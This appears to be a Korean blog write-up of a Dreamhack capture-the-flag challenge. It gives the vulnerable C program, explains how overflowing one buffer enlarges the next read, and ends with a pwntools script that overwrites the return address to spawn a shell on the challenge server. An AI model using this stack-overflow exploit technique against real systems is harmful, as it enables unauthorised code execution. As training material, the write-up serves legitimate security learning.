반응형
아래는 문제 코드다.
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
코드를 보면 flag 함수가 있는 것으로 보아, 오버 플로우로 리턴 값을 flag 시작 주소로 바꾸면 될 듯 하다.
main 함수에서 2번의 read함수가 실행되는데 buf 변수는 0x6만큼 값이 할당되지만, 0x10 만큼 값을 읽으므로, 2번 다 버퍼 오버플로우가 발생한다.
1시간 정도 헤매다가 드림핵 커뮤니티를 보고 힌트를 얻었다... 첫 번쨰 read 함수에서 buf_size 값을 가져오는 부분이 있는데 그 영역을 버퍼 오버플로우로 덮어버리면 된다. 아래 사진을 참고하자.
위 사진을 보면 rbp-0xc 위치에 buf_size가 저장되어 있는 것을 알 수 있다.
계속 실행하다 보면 아래 사진에서 0x~~dd38위치가 buf 변수의 위치이고, 0x~~dd44 위치가 buf_size가 저장된 변수인 것을 알 수 있다.
0x44 - 0x38 = 0xc 이므로 13번째 까지 무작위 값을 입력하면 적어도 다음 read에서 버퍼오버플로우를 0x10 이상으로 발생시킬 수 있다.
이후로는 기본적인 버퍼 오버플로우로 flag 함수의 주소로 덮어쓰면 된다.
문제 풀이에 사용했던 코드는 아래와 같다.
from pwn import *
r = remote('host3.dreamhack.games', 8958)
flag = 0x4012bc
payload = b'cherry'
payload += b'A'*7
r.sendline(payload)
print(r.recvn(15))
payload2 = b'A'*0x1A
payload2 += p64(flag)
r.sendline(payload2)
r.interactive()
반응형
'문제풀이 > 시스템해킹' 카테고리의 다른 글
[dreamhack] out_of_bound (0) | 2024.07.25 |
---|---|
[dreamhack] sane-env write-up (0) | 2024.06.05 |
[dreamhack] ssp_001 문제풀이 (2) | 2024.05.27 |
[dreamhack] Return to Shellcode 문제풀이 (0) | 2024.05.20 |
[dreamhack] Return Address Overwrite 문제 풀이 (1) | 2024.04.29 |